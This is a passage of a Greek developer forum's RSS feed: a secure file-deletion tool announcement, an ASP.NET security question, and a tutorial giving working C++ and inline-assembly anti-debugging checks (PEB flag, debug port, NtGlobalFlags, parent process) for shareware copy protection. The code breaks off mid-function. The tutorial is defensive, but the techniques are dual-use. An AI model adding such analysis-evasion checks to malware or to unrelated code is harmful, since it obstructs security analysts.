ανοιχτό κώδικα (φυσικά) και κάλιστα μπορείτε να το πάρετε και το χρησιμοποιήσετε ή να το ενισχύσετε με δικά σας χαρακτηριστικά.&lt;br&gt;Βρίσκεται εδω: &lt;a href="http://sourceforge.net/projects/filekiller/"&gt;http://sourceforge.net/projects/filekiller/&lt;/a&gt;&lt;br&gt;&lt;br&gt;Είχε μάλιστα την τιμή να ελεχθεί, να βραβευτεί και να οριστεί σαν γνήσιο Windows Tool με το &lt;a href="http://www.softpedia.com/progClean/FileKiller-Clean-149133.html"&gt;Softpedia 100% Free Award&lt;/a&gt;&lt;span id="intelliTxt"&gt;&lt;/span&gt;.&lt;br&gt;&lt;br&gt;Θεωρώ οτι το πρόγραμμα έχει τα εξής χαρακτηριστικά που δεν τα βρίσκεις &lt;u&gt;
συχνά &lt;/u&gt;σε αντίστοιχα προγράμματα:&lt;br&gt;
1. Είναι πάρα πολύ γρήγορο.&lt;br&gt;
2. Μπορείς να καθορίσεις πόσα iteration (1 έως 100) θα κάνει το πρόγραμμα
 κατά την διαγραφή του αρχείου.&lt;br&gt;
3. Μπορείς να καθορίσεις αν κατά την διαγραφή το αρχείο θα γραφτεί με 
κενά ή με τυχαίους χαρακτήρες ή με κάποιον χαρακτήρα επιλεγμένο από τον χρήστη.&lt;br&gt;
4. Μπορείς να επιλέξεις ταυτόχρονα πολλά αρχεία για διαγραφή από διαφορετικά 
directories ή δίσκους.&lt;br&gt;
5. Αν κατά την διαγραφή βρεθούν κάποια αρχεία κλειδωμένα ή αρχεία 
συστήματος που δεν επιτρέπεται να διαγραφούν, τότε το 
πρόγραμμα διαγράφει μόνο αυτά που μπορεί, αφήνοντας τα άλλα στη θέση 
τους.&lt;br&gt;
6. Διαγράφει όχι μόνο τα περιεχόμενα ενός αρχείου αλλά αλλοιώνει και το 
πραγματικό του όνομα στο FAT/NTFS, κάνοντας την ανάκτηση του (ακόμα και με 
ειδικά εργαλεία) θεωρητικά αδύνατη. Εγώ, τουλάχιστον, όσα γνωστά εργαλεία ανάκτησης δοκίμασα, απέτυχαν όλα.&lt;br&gt;
7. Δεν χρειάζεται setup, κατεβάστε απλά το executable και τρέξτε το 
(αρκεί να έχετε .net 3.5).&lt;br&gt;&lt;br&gt;Θα ήταν χαρά μου και τιμή μαζί, να συμμετέχουν κι άλλοι programmers στο μικρό αυτό project-άκι και να διορθώσουν κάποια bugs (αν έχει... που θα έχει δλδ) ή να του προσδώσουν κι άλλα χαρακτηριστικά σεβόμενοι πάντα την &lt;a href="http://www.gnu.org/copyleft/gpl.html"&gt;GNU License&lt;/a&gt;.&lt;br&gt;&lt;br&gt;&lt;br&gt;Σας ευχαριστώ&lt;br&gt;</description></item><item><title>Ασφάλεια asp.net εφαρμογών </title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32807.aspx</link><pubDate>Sun, 10 Jun 2007 04:14:19 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32807</guid><dc:creator>deykas</dc:creator><slash:comments>10</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32807.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32807</wfw:commentRss><description>Χρειάζομαι έναν προσανατολισμό σχετικά με θέματα ασφάλειας που πρέπει να προσέξει κάποιος σε μία asp.net (με sql server) εφαρμογή.&lt;br&gt;Ποιοι είναι οι κίνδυνοι για τους οποίους πρέπει κάποιος να ανησυχεί; Από τη βάση δεδομένων μέχρι τον κώδικα. &lt;br&gt;Η ερώτηση είναι πολύ γενική, αλλά θέλω ένα μπούσουλα για να ξεκινήσω.&lt;br&gt;ευχαριστώ.&lt;br&gt;&lt;br&gt;</description></item><item><title>Τεχνικές Anti-Cracking (Part I)</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/57477.aspx</link><pubDate>Sat, 06 Mar 2010 22:07:52 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:57477</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/57477.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=57477</wfw:commentRss><description>Η διαδικασία προστασίας των προγραμμάτων για PC είναι πολύ παλιά. Χάνεται κάπου στις απαρχές του... 1980! Από τότε δηλαδή που εμφανίστηκαν τα πρώτα Personal Computers. Βέβαια από τότε πολλά άλλαξαν. Από τον αρχικό στόχο που ήταν βασικά η προστασία από αντιγραφή, φτάσαμε στους νέους και «μοντέρνους» στόχους που είναι η προστασία από την αλλαγή και την ανάγνωση του κώδικα από μη εξουσιοδοτημένους «χρήστες». Σημεία των καιρών...&lt;br&gt;&lt;br&gt;Σε κάθε περίπτωση η έννοια του anti-cracking περιλαμβάνει αρκετά θέματα αλλά ένα βασικό σκοπό: Να μην μπορέσει κάποιος να προσβάλει με οποιονδήποτε τρόπο την ακεραιότητα ενός προγράμματος. Η λέξη «προσβάλει» περιλάμβάνει έννοιες όπως, το να διαβάσει, να κατανοήσει και φυσικά να αλλάξει το πρόγραμμα με στόχο να επιτελέσει διαδικασίες διαφορετικές από αυτές για τις οποίες φτιάχτηκε. &lt;br&gt;&lt;br&gt;Η όλη ιστορία ξεκίνησε από τότε που οι κατασκευαστές προγραμμάτων αποφάσισαν οτι έπρεπε να βγάζουν δοκιμαστικές εκδόσεις (όπως demos ή evaluation versions) για τα προγράμματα τους. Τα πρόγραμματα αυτά είναι τα ίδια ακριβώς που θα αποκτούσε κάποιος αν τα αγόραζε κανονικά, με τη μόνη διαφορά κάποιες αλλαγές που στην πραγματικότητα έκρυβαν όλες τις δυνατότητες τους. Ε, αυτή η κίνηση αποτέλεσε την «πτώση του... γαντιού» προς τους crackers, οι οποίοι ξεκίνησαν με διάφορες τεχνικές να προσπαθούν να παρακάμψουν τις μικρές αλλαγές που έκαναν οι κατασκευαστές έτσι ώστε να κάνουν τα προγράμματα να προσφέρουν το 100% των δυνατοτήτων τους, σαν να ήταν αγορασμένα.&lt;br&gt;&lt;br&gt;Μετά από λίγο καιρό, το cracking δημιούργησε σοβαρά προβλήματα τόσο στις μεγάλες εταιρίες όσο και στην κοινότητα των "ελεύθερων προγραμματιστών". Οι ελεύθεροι προγραμματιστές είναι επαγγελματίες που δεν βρίσκονται πίσω από μια μεγάλη εταιρεία και προσφέρουν τα προγράμματά τους (τα οποία, ομολογουμένως, πολλές φορές δεν έχουν να ζηλέψουν τίποτα από τα αντιστοιχα των μεγάλων εταιριών) σε download sites, σαν shareware. Ο όρος shareware δηλώνει οτι τα προγράμματα μπορούν να χρησιμοποιηθούν από οποιονδήποτε, για ένα μικρό χρονικό διάστημα. Από εκεί και πέρα χρειάζετε συνήθως να δοθεί κάποιο ποσό για να μπορέσει ο χρήστης να συνεχίσει να χρησιμοποιεί το πρόγραμμα ή για να «ξεκλειδωθούν» όλες οι δυνατότητες του.&lt;br&gt;&lt;br&gt;Έτσι, ξεκίνησαν να χρησιμοποιούνται τεχνικές προστασίας από τις επιθέσεις των crackers ώστε αυτοί να μην μπορούν εύκολα να επιτελέσουν το έργο τους. Λέμε, εύκολα, διότι όπως είναι γνωστό «ότι κλειδώνει, ξεκλειδώνει» και τις περισσότερες φορές δεν είναι πολύ εύκολο να εμποδίζουμε ένα γνώστη και αποφασισμένο cracker να «σπάσει» το πρόγραμμά μας. Μπορούμε όμως να του κάνουμε την ζωή από δύκολη έως... εφιαλτική ;-) χρησιμοποιώντας κάποιες τεχνικές και κάποια μικρά μυστικά μερικά από τα οποία ευελπιστούμε να αναλύσουμε σε αυτό το άρθρο.&lt;br&gt;&lt;br&gt;Σε πολύ πολύ γενικές γραμμές, για να μπορέσουμε να προστατέψουμε ένα πρόγραμμα πρέπει να έχουμε στο μυαλό μας 2 βασικά κριτήρια προστασίας:&lt;br&gt;1.&amp;nbsp;&amp;nbsp; &amp;nbsp;Να μην μπορεί το πρόγραμμα μας να χρησιμοποιηθεί από ένα debugger.&lt;br&gt;2.&amp;nbsp;&amp;nbsp; &amp;nbsp;Να μην μπορεί το πρόγραμμα μας να διαβαστεί (τουλάχιστον εύκολα) με ένα απλό disassembler ή με ένα memory dumper (μεταφορά του προγράμματος από την μνήμη σε αρχείο στον δίσκο).&lt;br&gt;&lt;br&gt;Έστω οτι εμείς θέλουμε να φτιάξουμε ένα shareware πρόγραμμα για περιβάλλον Windows Vista το οποίο θα δέχεται ένα serial number και θα εξετάζει αν αυτό το serial number είναι γνήσιο. Θα δούμε πως μπορούμε να φτιάξουμε έναν ελεγκτή serial number με τους δικούς μας κανόνες γνησιότητας. Επίσης, θα δώσουμε στο πρόγραμμα μας κάποιες δυνατότητες που θα ικανοποιεί τα παραπάνω 2 βασικά κριτήρια προστασίας που αναφέραμε.&lt;br&gt;&lt;br&gt;Τα βήματα που θα παρουσιάσουμε υλοποιώντας το πρόγραμμά μας θα είναι τα παρακάτω:&lt;br&gt;1.&amp;nbsp;&amp;nbsp; &amp;nbsp;Τεχνικές Anti-Debugging (θα περιγραφεί σε αυτό το part I).&lt;br&gt;2.&amp;nbsp;&amp;nbsp; &amp;nbsp;Μπέρδεμα του κώδικα ώστε να μην μπορεί να κατανοηθεί εύκολα (code obfuscation - θα περιγραφεί στο &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/57586.aspx"&gt;part II&lt;/a&gt;).&lt;br&gt;3.&amp;nbsp;&amp;nbsp; &amp;nbsp;Packing του εκτελέσιμου και self-encryption (θα περιγραφεί στο &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/57586.aspx"&gt;part II&lt;/a&gt;).&lt;br&gt;4.&amp;nbsp;&amp;nbsp; &amp;nbsp;Δημιουργία αλγόριθμου για την απόδειξη της γνησιότητας ενός serial number (serial number authentication - θα περιγραφεί στο &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/57586.aspx"&gt;part II&lt;/a&gt;).&lt;br&gt;&lt;br&gt;Οι προγραμματιστικές τεχνικές που θα χρησιμοποιήσουμε θα υλοποιηθούν κάνοντας χρήση της γλώσσας C++ και της Assembly. Θα κάνουμε επίσης κλήσεις στο API (Application Programming Interface) των Windows Vista. Όσα παρουσιαστούν, αναπτύχθηκαν και δοκιμάστηκαν σε περιβάλλον Windows Vista με το Visual Studio 2008.&lt;br&gt;&lt;br&gt;Για να λειτουργήσουν σωστά όλες οι συναρτήσεις που δίνουμε σε αυτό το άρθρο, θα πρέπει να έχετε χρησιμοπoιήσει στο προγραμμά σας, τα παρακάτω headers:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;tchar.h&amp;gt;
#include &amp;lt;SetupAPI.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;Psapi.h&amp;gt;
#include &amp;lt;tlhelp32.h&amp;gt;
#include &amp;lt;vdmdbg.h&amp;gt;
#include &amp;lt;conio.h&amp;gt;
#include &amp;lt;tlhelp32.h&amp;gt; &lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;Ας ξεκινήσουμε:&lt;br&gt;&lt;br&gt;Βήμα 1: Τεχνικές AntiDebugging&lt;br&gt;Ένας σημαντικός συντελεστής προστασίας του προγράμματος μας από αδιάκριτα βλέματα είναι να μην μπορεί κάποιος να διαβάσει τον κώδικα μας, μέσω του εκτελέσιμου αρχείο που θα του δώσουμε, με τη χρήση κάποιου ειδικού debugger ή dis-assembler, όπως οι Olly (&lt;a href="http://www.ollydbg.de/"&gt;http://www.ollydbg.de/&lt;/a&gt;), W32Dasm (&lt;a href="http://is.gd/6GOE"&gt;http://is.gd/6GOE&lt;/a&gt;), SoftIce (&lt;a href="http://is.gd/6GOT"&gt;http://is.gd/6GOT&lt;/a&gt;) κλπ.&lt;br&gt;&lt;br&gt;Υπάρχουν πολλές τεχνικές για να το καταφέρουμε αυτό. Άλλες μπορούν να παραβιαστούν πολύ εύκολα και άλλες πιο δύσκολα. Το αρνητικό που συχνά συμβαίνει στις προστασίες προγραμμάτων είναι οτι χρησιμοποιείται μόνο μία μέθοδος προστασίας. Έτσι, όταν ο cracker την παρακάμψει, το έργο του είναι μετά είναι piece of cake. Εμείς, θα χρησιμοποιήσουμε πολλές μεθόδους μαζί, έτσι ώστε να δυσκολέψουμε το έργο του επίδοξου cracker. Φυσικά, τίποτε δεν είναι απόρθητο, και αν ο cracker είναι πολύ καλός και έχει και... «τεράστια» υπομονή, χρόνο και μερικές φορές τύχη, ίσως (λέμε ίσως!) καταφέρει τελικά να «παραβιάσει» το πρόγραμμά μας ;-)&lt;br&gt;&lt;br&gt;&lt;b&gt;Τεχνική 1: Κλήση της API function IsDebuggerPresent(). &lt;/b&gt;&lt;br&gt;H τεχνική αυτή αναφέρεται απλά και μόνο για λόγους επάρκειας και γνώσης μιας και είναι πολύ εύκολο να παραβιαστεί.&lt;br&gt;Η function αυτή βρίσκεται μέσα στην kernel32.dll. Πριν μπούμε σε λεπτομέρειες ας αναφέρουμε πρώτα για το περίφημο (PEB Process Enviroment Block - &lt;a href="http://is.gd/6GWt"&gt;http://is.gd/6GWt&lt;/a&gt;).&lt;br&gt;Το PEB είναι μια περιοχή στην μνήμη που έχει αποδοθεί (από το λειτουργικό σύστημα) στον χρήστη και περιέχει πληροφορίες για κάθε επεξεργασία (Process) που τρέχει στο σύστημα του. Το χαρακτηριστικό της είναι οτι μπορεί να «πειραχτεί» από τον χρήστη εφόσων τρέχει στο λεγόμενο Process Address Space του. Στο PEB βρίσκονται πολλές χρήσιμες (και πολλές φορές... undocumented) πληροφορίες (&lt;a href="http://is.gd/6GU4"&gt;http://is.gd/6GU4&lt;/a&gt;), όπως στοιχεία για το Image Base Address (η διεύθυνση που «φορτώνεται» το 1ο byte του εκτελέσιμου), για το Ηeap (την μνήμη που αποδίδεται δυναμικά κατά τη διάρκεια εκτέλεσης του προγράμματος) για τις «βιβλιοθήκες» που έχουν κληθεί για να «συνδράμουν» ;) στην τρέχουσα διεργασία, για τις μεταβλητές μνήμης κλπ κλπ. Μέσα στα «κλπ κλπ.» βρίσκεται και μια ένδειξη (flag) που αναφέρει αν η τρέχουσα διεργασία έχει κληθεί από κάποιον debugger. Η ένδειξη αυτή βρίσκεται στην θέση 30h (δεκαεξαδικό) ή 48 (για τους κολλημένους με το δεκαδικό σύστημα) μέσα στο PEB.&lt;br&gt;Για λόγους κατανόησης και... «διαφάνειας» ;-) δίνουμε μια δική μας εκδοχή της function IsDebuggerPresent() σε C++ και Inline Assembly, που κάνει το ίδιο ακριβώς με αυτήν του API των Windows.&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; DirectIsDebuggerPresent()
{
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; IsDbgPresent &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0;
    __asm {
         mov eax, fs:[30h]
         mov al, [eax &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;+&lt;/span&gt; 2h]
         mov IsDbgPresent, al
    }
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt;(IsDbgPresent);
}&lt;/span&gt;&lt;/pre&gt;Όμως, όπως είπαμε, το BEP μπορεί να «πειραχτεί» από τον χρήστη και όταν λέμε «από τον χρήστη» εννοούμε από οποιονδήποτε χρήστη! Ακόμα κι από τον cracker. Έτσι πολύ εύκολα κάποιος «κακόβουλος» θα μπορούσε να αλλάξει την ένδειξη αυτή από αληθή σε ψευδή και η function DirectIsDebuggerPresent() να επιστρέφει πάντα false. &lt;br&gt;&lt;br&gt;&lt;b&gt;Τεχνική 2: Η συνάρτηση CheckRemoteDebuggerPresent().&lt;/b&gt;&lt;br&gt;Πρόκειται για μια τεχνική παρόμοια με την προηγούμενη με τη διαφορά οτι χρησιμοποιεί την ntdll.dll. Εμείς θα την χρησιμοποιήσουμε κάνοντας κλήση κατ’ ευθείαν στην NtQueryInfoProcess. Μια κλήση που δεν συνίσταται από την MicroSoft μιας και η συμπεριφορά των συναρτήσεων NtXXX μπορεί να αλλάξει χωρίς προειδοποίηση με μια νέα έκδοση ή ακόμα και ένα Patch του Λειτουργικού Συστήματος. Η συνάρτηση είναι η παρακάτω:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; CheckRemoteDebugger_Direct()
{
&lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Function Pointer Typedef for NtQueryInformationProcess&lt;/span&gt;
typedef unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;long&lt;/span&gt; (__stdcall *pfnNtQueryInformationProcess)(IN  HANDLE,
        IN  unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt;, OUT PVOID, IN ULONG, OUT PULONG);
 
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;const&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; ProcessDbgPort &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 7;
 
pfnNtQueryInformationProcess NtQueryInfoProcess &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; NULL;
 
unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;long&lt;/span&gt; Ret;
unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;long&lt;/span&gt; IsRemotePresent &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0;
 
HMODULE hNtDll &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; LoadLibrary(TEXT(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"ntdll.dll"&lt;/span&gt;));
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt;(hNtDll == NULL)
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt;(0);

NtQueryInfoProcess &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; (pfnNtQueryInformationProcess)
   GetProcAddress(hNtDll, &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"NtQueryInformationProcess"&lt;/span&gt;);
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt;(NtQueryInfoProcess == NULL)
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt;(0);

Ret &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; NtQueryInfoProcess(GetCurrentProcess(), ProcessDbgPort,
      &amp;amp;IsRemotePresent, &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;sizeof&lt;/span&gt;(unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;long&lt;/span&gt;), NULL);
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt;(Ret == 0x00000000 &amp;amp;&amp;amp; IsRemotePresent !&lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0);

}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;b&gt;Τεχνική 3: Τσεκάροντας τις ενδείξεις NtGlobalFlags.&lt;br&gt;&lt;/b&gt;Μια άλλη συχνά χρησιμοποιούμενη τεχνική είναι αυτή που ελέγχει τις ενδείξεις που επιστρέφει η NtGlobalFlags. Το NtGlobalFlags είναι μια λέξη (DWORD) μέσα στο PEB. Αυτή η μεταβλητή περιέχει κάποιες συγκεκριμενες τιμές όταν το πρόγραμμα μας εκτελείτε μέσα από debugger, όπως:&lt;br&gt;&lt;i&gt;FLG_HEAP_ENABLE_TAIL_CHECK (0x10), &lt;br&gt;FLG_HEAP_ENABLE_FREE_CHECK(0x20)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;και&lt;i&gt;&lt;br&gt;FLG_HEAP_VALIDATE_PARAMETERS(0x40). &lt;/i&gt;&lt;br&gt;Εάν στο τέλος της κλήσης η τιμή του καταχωρητή EAX&amp;nbsp; είναι η 70h τότε κάποιος debugger έχει αναλάβει.. δράση!&lt;br&gt;Η συνάρτηση που πρέπει να φτιάξουμε έχει ως εξής:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; TestNtGlobalFlags()
{
    unsigned &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;long&lt;/span&gt; NtGlobalFlags &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0;
    __asm {
        mov eax, fs:[30h]
        mov eax, [eax &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;+&lt;/span&gt; 68h]
        mov NtGlobalFlags, eax
        }
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; (NtGlobalFlags &amp;amp; 0x70);
}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;&lt;b&gt;Τεχνική 4: Ελέγχοντας το parent processes του προγράμματος μας.&lt;/b&gt;&lt;br&gt;Mια αρκετά αγαπημένη μου τεχνική. Το κολπάκι είναι το εξής: Όταν τρέχει ένα πρόγραμμα στην μνήμη, έχει πάντα ένα γονέα (parent): Πρόκειται για αυτόν που το κάλεσε ή αλλιώς αυτόν που το «γέννησε», το έκανε δηλαδή να κληθεί, να αποκτήσει ζωή! Αν το πρόγραμμα κληθεί κανονικά από τον περιβάλλον των windows ο γονέας του είναι το πρόγραμμα explorer.exe. Αν κληθεί το πρόγραμμα από κάποιον debugger τότε ο γονέας του είναι το όνομα του debugger. Φυσικά υπάρχουν κι άλλοι... «γονείς». Π.χ. αν κληθεί από τη γραμμή εντολών (Command Line) του λειτουργικού (του πάλαι πότε αθάνατου και διαχρονικού... DOS Command!) τότε ο γονέας του είναι ο cmd.exe. Αν πάλι κληθεί μέσα από το περιβάλλον του Visual Studio 2008 o γονέας του είναι ο devenv.exe. Απ’ οτι θα καταλάβατε οι γονείς μπορεί να είναι πολλοί! Μπορούμε όμως να γίνουμε λίγο πιο αυστηροί και να απαιτήσουμε να εκτελείτε το πρόγραμμα μας μόνο από το λειτουργικό ή την γραμμή εντολών και όταν ο γονέας δεν είναι ο explorer.exe ή ο cmd.exe τότε να θεωρούμε οτι το πρόγραμμά μας δεν κλήθηκε με τον σωστό τρόπο ή οτι κλήθηκε από κάποιον debugger. &lt;br&gt;Ο κώδικας παρακάτω βρίσκει το Process ID του Parent Process του προγράμματος μας και μετά βρίσκει το όνομα αυτού του parent process. Αν δεν είναι κάποιο από τα "explorer.exe",&amp;nbsp; "cmd.exe" τότε θεωρεί οτι υπάρχει ενεργοποιημένος debugger. Οπότε bye bye...&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; TestByProcessCheck()
{
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; filename[256];
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; i, currProcessID, ParentProcessID, IsDebugON &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; 0;

&lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Get the process list snapshot.&lt;/span&gt;
HANDLE hProcessSnapShot &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; CreateToolhelp32Snapshot(
                                        TH32CS_SNAPALL,
                                        0 );

&lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Initialize the process entry structure.&lt;/span&gt;
PROCESSENTRY32 ProcessEntry &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; { 0 };
ProcessEntry.dwSize &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;sizeof&lt;/span&gt;( ProcessEntry );

&lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;// Get Current process.&lt;/span&gt;
currProcessID &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; GetCurrentProcessId();

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (!Process32First( hProcessSnapShot, &amp;amp;ProcessEntry ))
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; IsDebugON;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;do&lt;/span&gt;
{
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;for&lt;/span&gt; (i=0; ProcessEntry.szExeFile[ i ] !&lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; '\0' ; i++ )
        filename[ i ] &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; ProcessEntry.szExeFile[ i ];
    filename[ i ] &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt;     '\0';

    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"%d %30s PPID--&amp;gt;%d"&lt;/span&gt;,ProcessEntry.th32ProcessID, filename,
                             ProcessEntry.th32ParentProcessID);        

    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (currProcessID == ProcessEntry.th32ProcessID){
        ParentProcessID &lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; ProcessEntry.th32ParentProcessID;
    }
}
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;while&lt;/span&gt;( Process32Next( hProcessSnapShot, &amp;amp;ProcessEntry ));

&lt;span style="color:Green;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;//Getinfo for parent process ID&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (!Process32First( hProcessSnapShot, &amp;amp;ProcessEntry ))
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; IsDebugON;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;do&lt;/span&gt;
{
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (ParentProcessID == ProcessEntry.th32ProcessID){
        &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;for&lt;/span&gt; (i=0; ProcessEntry.szExeFile[ i ] !&lt;span style="color:Red;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;=&lt;/span&gt; '\0' ; i++ )
